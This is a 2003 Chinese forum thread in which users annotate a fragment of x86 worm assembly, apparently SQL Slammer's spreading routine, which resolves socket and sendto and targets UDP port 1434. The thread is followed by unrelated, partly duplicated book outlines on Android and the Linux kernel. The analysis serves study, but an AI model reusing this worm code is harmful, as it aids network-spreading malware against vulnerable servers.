分析第四段代码

hackzhuang 2003-05-24 11:56:47

entrypoint
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ; (socket)
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
push 11h
push 2
push 2
call eax ; socket
push eax
lea eax, [ebp-3Ch] ; sendto
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
mov esi, eax ; save sendto -> esi
or ebx, ebx
xor ebx, 0FFD9613Ch

...全文

70 2 打赏收藏转发到动态举报

写回复

2 条回复

切换为时间正序

请发表友善的回复…

发表回复

roam831 2003-05-26

打赏
举报

回复

还有第三段也帮我分析一下

BraveHeart2222 2003-05-26

打赏
举报

回复

entrypoint
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ;从第二段的分析可知，ebp-34h就是
;字符串"socket"在堆栈中的位置
　;GetProcAddress的原型为GetProcAddress( HMODULE hModule, LPCSTR lpProcName);
;所以以下是将其两个参数进栈
push eax　 ;第一个参数lpProcName进栈
mov eax, [ebp-40h] ;ws2_32 base address
push eax　 ;第二个参数hModule进栈
call dword ptr [esi] ; 调用GetProcAddress,
;返回值为socket的地址，放在eax中
;函数socket的原型为SOCKET socket (int af,int type,int protocol);
;所以以下是将其三个参数进栈
push 11h ;参数protocol
push 2　　;参数type
push 2 ;参数af
call eax ; 调用socket

push eax
lea eax, [ebp-3Ch] ;从第二段的分析可知，ebp-3ch就是
;字符串"sendto"在堆栈中的位置
push eax ;GetProcAddress的第一个参数lpProcName进栈
mov eax, [ebp-40h] ; ws2_32 base address
push eax ;GetProcAddress的第二个参数hModule进栈
call dword ptr [esi] ; 调用GetProcAddress,
;返回值为sendto的地址，放在eax中
mov esi, eax ; save sendto -> esi
or ebx, ebx
xor ebx, 0FFD9613Ch

《Android系统源代码情景分析》随书光盘内容（源代码）目录如下：第1篇初识Android系统第1章　准备知识 1.1　Linux内核参考书籍 1.2　Android应用程序参考书籍 1.3　下载、编译和运行Android源代码 1.3.1　下载Android源代码 1.3.2　编译Android源代码 1.3.3　运行Android模拟器 1.4　下载、编译和运行Android内核源代码 1.4.1　下载Android内核源代码 1.4.2　编译Android内核源代码 1.4.3　运行Android模拟器 1.5　开发第一个Android应用程序 1.6　单独编译和打包Android应用程序模块 1.6.1　导入单独编译模块的mmm命令 1.6.2　单独编译Android应用程序模块 1.6.3　重新打包Android系统镜像文件第２章　硬件抽象层 2.1　开发Android硬件驱动程序 2.1.1　实现内核驱动程序模块 2.1.2　修改内核Kconfig文件 2.1.3　修改内核Makefile文件 2.1.4　编译内核驱动程序模块 2.1.5　验证内核驱动程序模块 2.2　开发C可执行程序验证Android硬件驱动程序 2.3　开发Android硬件抽象层模块 2.3.1　硬件抽象层模块编写规范 2.3.2　编写硬件抽象层模块接口 2.3.3　硬件抽象层模块的加载过程 2.3.4　处理硬件设备访问权限问题 2.4　开发Android硬件访问服务 2.4.1　定义硬件访问服务接口 2.4.2　实现硬件访问服务 2.4.3　实现硬件访问服务的JNI方法 2.4.4　启动硬件访问服务 2.5　开发Android应用程序来使用硬件访问服务第３章　智能指针 3.1　轻量级指针 3.1.1　实现原理分析 3.1.2　应用实例分析 3.2　强指针和弱指针 3.2.1　强指针的实现原理分析 3.2.2 弱指针的实现原理分析 3.2.3 应用实例分析第2篇 Android专用驱动系统第４章　Logger日志系统 4.1　Logger日志格式 4.2　Logger日志驱动程序 4.2.1　基础数据结构 4.2.2　日志设备的初始化过程 4.2.3　日志设备文件的打开过程 4.2.4　日志记录的读取过程 4.2.5　日志记录的写入过程 4.3　运行时库层日志库 4.4　C/C++日志写入接口 4.5　Java日志写入接口 4.6　Logcat工具分析 4.6.1　相关数据结构 4.6.2　初始化过程 4.6.3　日志记录的读取过程 4.6.4　日志记录的输出过程第５章　Binder进程间通信系统 5.1　Binder驱动程序 5.1.1　基础数据结构 5.1.2　Binder设备的初始化过程 5.1.3　Binder设备文件的打开过程 5.1.4　Binder设备文件的内存映射过程 5.1.5　内核缓冲区管理 5.2　Binder进程间通信库 5.3　Binder进程间通信应用实例 5.4　Binder对象引用计数技术 5.4.1　Binder本地对象的生命周期 5.4.2　Binder实体对象的生命周期 5.4.3　Binder引用对象的生命周期 5.4.4　Binder代理对象的生命周期 5.5　Binder对象死亡通知机制 5.5.1　注册死亡接收通知 5.5.2　发送死亡接收通知 5.5.3　注销死亡接收通知 5.6　Service Manager的启动过程 5.6.1　打开和映射Binder设备文件 5.6.2　注册为Binder上下文管理者 5.6.3　循环等待Client进程请求 5.7　Service Manager代理对象的获取过程 5.8　Service组件的启动过程 5.8.1　注册Service组件 5.8.2　启动Binder线程池 5.9　Service代理对象的获取过程 5.10　Binder进程间通信机制的Java接口 5.10.1　Service Manager的Java代理对象的获取过程 5.10.2　Java服务接口的定义和解析 5.10.3　Java服务的启动过程 5.10.4　Java服务代理对象的获取过程 5.10.5　Java服务的调用过程第６章　Ashmem匿名共享内存系统 6.1　Ashmem驱动程序 6.1.1　基础数据结构 6.1.2　匿名共享内存设备的初始化过程 6.1.3　匿名共享内存设备文件的打开过程 6.1.4　匿名共享内存设备文件的内存映射过程 6.1.5　匿名共享内存块的锁定和解锁过程 6.1.6　匿名共享内存块的回收过程 6.2　运行时库cutils的匿名共享内存访问接口 6.3　匿名共享内存的C++访问接口 6.3.1　MemoryHeapBase 6.3.2　MemoryBase 6.3.3　应用实例 6.4　匿名共享内存的Java访问接口 6.4.1　MemoryFile 6.4.2　应用实例 6.5　匿名共享内存的共享原理第3篇 Android应用程序框架第７章　Activity组件的启动过程 7.1　Activity组件应用实例 7.2　根Activity组件的启动过程 7.3　子Activity组件在进程内的启动过程 7.4　子Activity组件在新进程中的启动过程第８章　Service组件的启动过程 8.1　Service组件应用实例 8.2 Service组件在新进程中的启动过程 8.3　Service组件在进程内的绑定过程第９章　Android系统广播机制 9.1　广播机制应用实例 9.2　广播接收者的注册过程 9.3　广播的发送过程第10章　Content Provider组件的实现原理 10.1　Content Provider组件应用实例 10.1.1　ArticlesProvider 10.1.2　Article 10.2　Content Provider组件的启动过程 10.3　Content Provider组件的数据共享原理 10.3.1　数据共享模型 10.3.2　数据传输过程 10.4　Content Provider组件的数据更新通知机制 10.4.1　注册内容观察者 10.4.2　发送数据更新通知第11章　Zygote和System进程的启动过程 11.1　Zygote进程的启动脚本 11.2　Zygote进程的启动过程 11.3　System进程的启动过程第12章　Android应用程序进程的启动过程 12.1　应用程序进程的创建过程 12.2　Binder线程池的启动过程 12.3　消息循环的创建过程第13章　Android应用程序的消息处理机制 13.1　创建线程消息队列 13.2　线程消息循环过程 13.3　线程消息发送过程 13.4　线程消息处理过程第14章　Android应用程序的键盘消息处理机制 14.1　键盘消息处理模型 14.2　InputManager的启动过程 14.2.1　创建InputManager 14.2.2　启动InputManager 14.2.3　启动InputDispatcher 14.2.4　启动InputReader 14.3　InputChannel的注册过程 14.3.1　创建InputChannel 14.3.2　注册Server端InputChannel 14.3.3　注册系统当前激活的应用程序窗口 14.3.4　注册Client端InputChannel 14.4　键盘消息的分发过程 14.4.1　InputReader获得键盘事件 14.4.2　InputDispatcher分发键盘事件 14.4.3　系统当前激活的应用程序窗口获得键盘消息 14.4.4　InputDispatcher获得键盘事件处理完成通知 14.5　InputChannel的注销过程 14.5.1　销毁应用程序窗口 14.5.2　注销Client端InputChannel 14.5.3　注销Server端InputChannel 第15章　Android应用程序线程的消息循环模型 15.1　应用程序主线程消息循环模型 15.2　与界面无关的应用程序子线程消息循环模型 15.3　与界面相关的应用程序子线程消息循环模型第16章　Android应用程序的安装和显示过程 16.1　应用程序的安装过程 16.2　应用程序的显示过程

ndroid系统源代码情景分析的评论这本书是我看过的最深入的一本android书了，可以看出作者是一个很有悟性的程序员，很适合需要提高的android框架层工程师进阶。binder部分是目前所有书中分析的最全面的。匿名共享内存分析的也很好。情况分析应该是学毛德操老师的，作者确实做到了，作者在讲解时，会从java层到native层，再到linux kernel中整个串起来讲。使读者可以完全了解某些子系统的运行机制内容简介 · · · · · · 在内容上，本书结合使用情景，全面、深入、细致地分析Android系统的源代码，涉及到Linux内核层、硬件抽象层（HAL）、运行时库层(Runtime)、应用程序框架层(Application Framework)以及应用程序层(Application)。在组织上，本书将上述内容划分为初识Android系统、Android专用驱动系统和Android应用程序框架三大篇章。初识Android系统篇介绍了参考书籍、基础知识以及实验环境搭建；Android专用驱动系统篇介绍了Logger日志驱动程序、Binder进程间通信驱动程序以及Ashmem匿名共享内存驱动程序；Android应用程序框架篇从组件、进程、消息以及安装四个维度来对Android应用程序的框架进行了深入的剖析。通过上述内容及其组织，本书能使读者既能从整体上把握Android系统的层次结构，又能从细节上去掌握每一个层次的要点。作者简介 · · · · · · 罗升阳，1984年出生，2007年毕业于浙江大学计算机系，取得学士学位，2010年毕业于上海交通大学计算机系，取得硕士学位。毕业后一直从事于互联网软件开发，并且致力于移动平台的研究，特别是对Android平台有深入的理解和研究。在国内知名IT技术社区CSDN上发表了数十篇高质量的Android系统原创性文章，并且开设博客专栏--《老罗的Android之旅》，积极与网友互动，深受大家喜爱，访问量一直居于前茅。

Android系统源代码情景分析的评论这本书是我看过的最深入的一本android书了，可以看出作者是一个很有悟性的程序员，很适合需要提高的android框架层工程师进阶。binder部分是目前所有书中分析的最全面的。匿名共享内存分析的也很好。情况分析应该是学毛德操老师的，作者确实做到了，作者在讲解时，会从java层到native层，再到linux kernel中整个串起来讲。使读者可以完全了解某些子系统的运行机制内容简介 · · · · · · 在内容上，本书结合使用情景，全面、深入、细致地分析Android系统的源代码，涉及到Linux内核层、硬件抽象层（HAL）、运行时库层(Runtime)、应用程序框架层(Application Framework)以及应用程序层(Application)。在组织上，本书将上述内容划分为初识Android系统、Android专用驱动系统和Android应用程序框架三大篇章。初识Android系统篇介绍了参考书籍、基础知识以及实验环境搭建；Android专用驱动系统篇介绍了Logger日志驱动程序、Binder进程间通信驱动程序以及Ashmem匿名共享内存驱动程序；Android应用程序框架篇从组件、进程、消息以及安装四个维度来对Android应用程序的框架进行了深入的剖析。通过上述内容及其组织，本书能使读者既能从整体上把握Android系统的层次结构，又能从细节上去掌握每一个层次的要点。作者简介 · · · · · · 罗升阳，1984年出生，2007年毕业于浙江大学计算机系，取得学士学位，2010年毕业于上海交通大学计算机系，取得硕士学位。毕业后一直从事于互联网软件开发，并且致力于移动平台的研究，特别是对Android平台有深入的理解和研究。在国内知名IT技术社区CSDN上发表了数十篇高质量的Android系统原创性文章，并且开设博客专栏--《老罗的Android之旅》，积极与网友互动，深受大家喜爱，访问量一直居于前茅。

88个经典Android应用程序打包下载（源代码）可参考

第一章走进linux 1.1 GNU与Linux的成长 1.2 Linux的开发模式和运作机制 1.3走进Linux内核 1.4 分析Linux内核的意义 1.5 Linux内核结构 1.6 Linux内核源代码 1.7 Linux内核源代码分析工具第二章 Linux运行的硬件基础 2.1 i386的寄存器 2.2 内存地址 2.3 段机制和描述符 2.4 分页机制 2.5 Linux中的分页机制 2.6 Linux中的汇编语言第三章中断机制 3.1 中断基本知识 3.2中断描述符表的初始化 3.3异常处理 3.4 中断处理 3.5中断的后半部分处理机制第四章进程描述 4.1 进程和程序（Process and Program） 4.2 Linux中的进程概述 4.3 task_struct结构描述 4.4 task_struct结构在内存中的存放 4.5 进程组织的方式 4.6 内核线程 4.7 进程的权能 4.8 内核同步第五章进程调度 5.1 Linux时间系统 5.2 时钟中断 5.3 Linux的调度程序－Schedule( ) 5.4 进程切换第六章 Linux内存管理 6.1 Linux的内存管理概述 6.2 Linux内存管理的初始化 6.3 内存的分配和回收 6.4 地址映射机制 6.5 请页机制 6.6 交换机制 6.7 缓存和刷新机制 6.8 进程的创建和执行第七章进程间通信 7.1 管道 7.2 信号(signal) 7.3 System V 的IPC机制第八章虚拟文件系统 8.1 概述 8.2 VFS中的数据结构 8.3 高速缓存 8.4 文件系统的注册、安装与拆卸 8.5 限额机制 8.6 具体文件系统举例 8.7 文件系统的系统调用 8 .8 Linux2.4文件系统的移植问题第九章 Ext2文件系统 9.1 基本概念 9.2 Ext2的磁盘布局和数据结构 9.3 文件的访问权限和安全 9.4 链接文件 9.5 分配策略第十章模块机制 10.1 概述 10.2 实现机制 10.3 模块的装入和卸载 10.4 内核版本 10.5 编写内核模块第十一章设备驱动程序 11.1 概述 11.2 设备驱动基础 11.3 块设备驱动程序 11.4 字符设备驱动程序第十二章网络 12.1 概述 12.2 网络协议 12.3 套接字(socket) 12.4 套接字缓冲区(sk_buff) 12.5 网络设备接口第十三章启动系统 13.1 初始化流程 13.2 初始化的任务 13.3 Linux 的Boot Loarder 13.4 进入操作系统 13.5 main.c中的初始化 13.6 建立init进程附录： 1 Linux 2.4内核API 2.1 驱动程序的基本函数 2.2 双向循环链表的操作 2.3 基本C库函数 2.4 Linux内存管理中Slab缓冲区 2.5 Linux中的VFS 2.6 Linux的连网 2.7 网络设备支持 2.8 模块支持 2.9 硬件接口 2.10 块设备 2.11 USB 设备

21,499

社区成员

41,617

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章